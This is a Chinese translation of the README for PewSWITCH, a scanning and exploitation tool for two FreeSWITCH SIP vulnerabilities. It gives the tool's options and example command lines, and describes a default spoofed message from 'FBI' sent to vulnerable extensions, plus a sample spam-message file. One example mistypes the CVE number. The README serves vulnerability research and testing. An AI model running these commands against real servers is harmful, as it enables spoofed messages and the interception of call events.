针对 CVE-2021-37624 和 CVE-2021-41157 的 FreeSWITCH 专用扫描与利用工具包。
相关博客:https://0xinfection.github.io/posts/analyzing-freeswitch-vulns/
该工具的帮助声明如下:
$ ./pewswitch --help
___ . ____ _ __ __
/ _ \___|\ __/ __/| __(_) /_____/ /
/ ___/ -_) |/|/ /\ \| |/|/ / / __/ __/ _ \
/_/ \__/|__,__/___/|__,__/_/\__/\__/_//_/ v0.1
"where we pew pew pew freeswitch"
Usage of ./pewswitch:
-cve string
Specify a specific CVE to scan. Both vulns are tested by default.
-delay int
Delay in seconds between subsequent requests. (default 0)
-events string
Comma-separated list of events to be subscribed to. All events are monitored by default.
-expires int
Maximum value of the 'Expires' header for SUBSCRIBE requests. (default 60)
-ext-file string
Specify a file containing extensions instead of '-exts'.
-exts string
Comma separated list of extensions to scan.
-msg-file string
Specify a CSV file containing messages to be sent (if found vulnerable to CVE-2021-37624).
-out-dir string
Output directory to write the results to. (default "./pewswitch-results/")
-out-format string
Output format type of the results. Can be either 'json' or 'csv'. (default "json")
-threads int
Number of threads to use while scanning. (default 2)
-user-agent string
Custom user-agent string to use. (default "pewswitch/0.1")
默认情况下,该工具会扫描两种漏洞。如果你只想测试特定漏洞,可以使用 -cve 标志。
示例:
./pewswitch -cve 'cve-2021-37624' -exts 1000 freeserver.voip.com
要指定分机号,可以选择以下任一方式:
通过 -exts 参数指定逗号分隔的分机号列表。
示例:
./pewswitch -exts 1000,1001 freeserver.voip.com freeserver1.voip.com:5060
这将使工具针对每个分机号与每个主机组合进行测试。因此上述命令中最终测试的目标是:[email protected]、[email protected]、[email protected]:5060 和 [email protected]:5060。
指定包含分机号的文件。注意,使用文件时,需要同时指定用户和主机。这在需要测试特定服务器上的特定分机号时特别有用。此类文件的示例(如 extensions-sample.txt)可能如下所示:
[email protected]
[email protected]:5060
[email protected]:5660
...
示例:
./pewswitch -ext-file extensions-sample.txt
注意,如果主机未指定端口,则默认使用 5060 作为目标端口。
该工具可以以两种格式输出结果:JSON 和 CSV。默认输出格式为 JSON。可以使用 -out-format 选项更改输出格式。
示例:
./pewswitch -exts 1000 -out-format csv freeserver.voip.com
你可以在 ./pewswitch-results/ 目录中找到 json 和 csv 格式的示例报告。
可以使用 -out-dir 参数更改输出目录。默认输出目录为 ./pewswitch-results/,该目录会在运行工具时的当前工作目录中创建。
示例:
./pewswitch -ext-file extensions-sample.txt -out-dir /tmp
该工具还提供了一些额外的数据包特定设置,允许在漏洞验证/利用过程中自定义请求。
如果发现服务器存在 CVE-2021-37624 漏洞,默认会向目标分机发送一条示例消息,发送者姓名为 FBI,号码为 022-324-3000。消息内容如下:FBI here. Open your door!
可以通过使用 -msg-file 参数更改此行为。该参数接受一个 CSV 文件,其中包含发送者姓名、电话号码以及要发送的消息内容。此类文件的示例为 messages-sample.csv。
sender_name,sender_phone,message
FBI,022-324-3000,FBI here. Open your door!
0xInfection,000-000-0000,Hi. Just confirming the vulnerability.
SPAMMY SALESMAN,BAD-GUY-9999,BUY MY STUFF!
示例:
./pewswitch -cve 'cve-2021-27624' -msg-file messages-sample.csv -exts 1000 freeserver.voip.com
默认情况下,该工具发送的 SUBSCRIBE 请求中 Expires 头设置为 60 秒。在这段时间内,工具会持续监听来自服务器的 NOTIFY 消息。可以使用 -expires 标志更改该值。
示例:
./pewswitch -expires 600 -ext-file extensions-sample.txt
该工具还通过订阅所有事件来监听 NOTIFY 消息。所有事件列表如下:
talkholdconferenceas-feature-eventdialogline-seizecall-infoslainclude-session-descriptionpresencepresence.winfomessage-summaryrefer可以使用 -events 标志更改此行为,该标志接受一个逗号分隔的事件列表进行监听。示例:
./pewswitch -cve 'cve-2021-41157' -events message-summary,presence -exts 1000,1002 freeserver.voip.com
你可以使用 Releases 部分中的预构建二进制文件。或者,如果你喜欢自己编译代码,则需要 Go > 1.13。要构建该工具,可以运行 go build,这将生成一个可运行的二进制文件。
该工具基于 MIT 许可证发布。你可以随意使用。
目前,PewSWITCH 为 v0.1 版本。
有新的请求或功能?欢迎创建 issue 或 pull request。
如果你有任何需要讨论的内容,可以通过我的个人资料中的 Twitter 或电子邮件联系我。
由 Pinaki 用 ♡ 制作。